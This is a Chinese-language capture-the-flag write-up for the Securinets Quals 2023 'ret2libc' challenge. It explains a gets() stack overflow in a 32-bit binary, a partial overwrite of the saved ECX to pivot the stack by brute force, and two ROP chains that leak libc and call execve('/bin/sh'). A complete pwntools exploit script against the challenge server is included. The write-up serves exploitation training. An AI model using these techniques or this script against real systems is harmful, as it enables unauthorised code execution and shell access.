Securinets Quals 2023 ctf——ret2libc
Securinets Quals 2023 ctf——ret2libc
记一次远程爆破的一个大坑
代码审计
32位程序,防护开了NX和Partial RELRO,Canary和PIE没有开。
有一个简单粗暴的gets栈溢出,puts调用过作为提示语,栈溢出之前没有泄露机会。
.text:080491D3 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:080491D3 public main
.text:080491D3 main proc near ; DATA XREF: _start+1C↑o
.text:080491D3
.text:080491D3 s= byte ptr -58h
.text:080491D3 anonymous_0= dword ptr -8
.text:080491D3 argc= dword ptr 8
.text:080491D3 argv= dword ptr 0Ch
.text:080491D3 envp= dword ptr 10h
.text:080491D3
.text:080491D3 ; __unwind {
.text:080491D3 8D 4C 24 04 lea ecx, [esp+4]
.text:080491D7 83 E4 F0 and esp, 0FFFFFFF0h
.text:080491DA FF 71 FC push dword ptr [ecx-4]
.text:080491DD 55 push ebp
.text:080491DE 89 E5 mov ebp, esp
.text:080491E0 53 push ebx
.text:080491E1 51 push ecx
.text:080491E2 83 EC 50 sub esp, 50h
.text:080491E5 E8 C6 FE FF FF call __x86_get_pc_thunk_bx
.text:080491E5
.text:080491EA 81 C3 0A 2E 00 00 add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080491F0 E8 81 FF FF FF call setup
.text:080491F0
.text:080491F5 83 EC 0C sub esp, 0Ch
.text:080491F8 8D 83 14 E0 FF FF lea eax, (aIsThisSolveabl - 804BFF4h)[ebx] ; "Is this solveable?"
.text:080491FE 50 push eax ; s
.text:080491FF E8 4C FE FF FF call _puts
.text:080491FF
.text:08049204 83 C4 10 add esp, 10h
.text:08049207 83 EC 0C sub esp, 0Ch
.text:0804920A 8D 45 A8 lea eax, [ebp+s]
.text:0804920D 50 push eax ; s
.text:0804920E E8 2D FE FF FF call _gets
.text:0804920E
.text:08049213 83 C4 10 add esp, 10h
.text:08049216 B8 00 00 00 00 mov eax, 0
.text:0804921B 8D 65 F8 lea esp, [ebp-8]
.text:0804921E 59 pop ecx
.text:0804921F 5B pop ebx
.text:08049220 5D pop ebp
.text:08049221 8D 61 FC lea esp, [ecx-4]
.text:08049224 C3 retn
.text:08049224 ; } // starts at 80491D3
.text:08049224
.text:08049224 main endp
看一下main函数结束的位置,结尾处在局部变量下方和last_ebp上方这段区域,还有先前保存的ecx,ebx,而在ret之前,有一句lea esp,[ecx-4],这意味着main函数不能通过常规的栈溢出漏洞来直接覆盖返回地址劫持程序执行流。
直接看是找不到思路的,但是既然是ecx-4的值赋值给了esp,一般程序在没有非法输入前一定是“安分守己”的,因此栈上保存的ecx大概正常情况下应该是个栈地址,事实上在gdb中调试观察内存会发现的确如此,且这个地址在main函数栈帧下方不远处。
gets函数的特点是以\n(或EOF)作为结束标记,并把截断字符置为\x00。我们可以用这个特点覆盖栈上暂存的ecx数值的低位字节,这样,原本lea esp,[ecx-4]的降栈操作,由于我们将低位修改为了\x00,往往会变成抬栈操作,有1/16的概率将栈正好抬升到我们先前输入的数据附件,并令esp直接指向提前布置好的rop链开端。
第一个rop链完成泄露操作,并用gets想bss段写上新的获得shell的rop链,之后再次利用结尾的pop ecx和lea esp,[ecx-4],将esp迁移到bss段并执行前一个rop链调用的gets读入的第二个rop链,实现get shell。
注意远程交互时有时间延迟,由于爆破成功会成功泄露libc地址,我们依靠recvuntil('\x7f')是否接受来判断是否爆破成功,在参数里加入timeout,注意timeout值要大一些,否则会出现因为回显过慢,被脚本误以为爆破失败的情况。
如果大家有更好的爆破思路,可以在评论区分享。
EXP
就做了这一个,别的没做,这几天忙着社团招新......
from pwn import *
import tty
#from ctypes import *
context.terminal=['tmux','splitw','-h']
context.arch='i386'
context.log_level='debug'
ELFpath='/home/wjc/Desktop/togive/main'
libcpath='/home/wjc/Desktop/togive/libc.so.6'
#p=process(ELFpath)
#p=remote('pwn.ctf.securinets.tn',6666)
e=ELF(ELFpath)
libc=ELF(libcpath)
rut=lambda s :p.recvuntil(s,timeout=1)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
rl=lambda :p.recvline()
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
text_base, libc_base = get_base(p, 'noka')
script = '''
set $text_base = {}
set $libc_base = {}
b*0x8049213
'''.format(text_base, libc_base)
#b mprotect
#b *($text_base+0x0000000000000000F84)
#b *($text_base+0x000000000000134C)
# b *($text_base+0x0000000000000000001126)
#dprintf *($text_base+0x04441),"%c",$ax
#dprintf *($text_base+0x04441),"%c",$ax
#0x12D5
#0x04441
#b *($text_base+0x0000000000001671)
gdb.attach(p, script)
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
def pwn():
puts_plt=e.plt['puts']
puts_got=e.got['puts']
gets_plt=e.plt['gets']
gets_got=e.got['gets']
fake_stack=0x804c200+4
'''
.text:0804921E 59 pop ecx
.text:0804921F 5B pop ebx
.text:08049220 5D pop ebp
.text:08049221 8D 61 FC lea esp, [ecx-4]
.text:08049224 C3 retn
'''
mov_stack=0x804921E
#0x0804901e : pop ebx ; ret
pop_ebx_ret=0x0804901e
ru('Is this solveable?\n')
#debug()
rop_chain=p32(0)*3+p32(0x8049224)*5+p32(puts_plt)+p32(pop_ebx_ret)+p32(puts_got)+p32(gets_plt)+p32(pop_ebx_ret)+p32(fake_stack)+p32(mov_stack)+p32(fake_stack+4)+p32(0)+p32(0)
pay1=rop_chain.ljust(0x50,'\x00')
sl(pay1)
libcbase=u32(rut('\xf7')[-4:])-0x74db0
LOGTOOL['libcbase']=libcbase
str_bin_sh=libcbase+libc.search("/bin/sh").next()
LOGTOOL['str_bin_sh']=str_bin_sh
execve_addr=libcbase+libc.symbols['execve']
LOGTOOL['execve']=execve_addr
LOGALL()
rop_chain_2=p32(execve_addr)+p32(0)+p32(str_bin_sh)+p32(0)+p32(0)
sl(rop_chain_2)
return 0
#pwn()
#it()
if __name__=='__main__':
while(1):
try:
#p=process(ELFpath)
p=remote('pwn.ctf.securinets.tn',6666)
#p=remote('127.0.0.1',1234)
pwn()
it()
break
except:
p.close()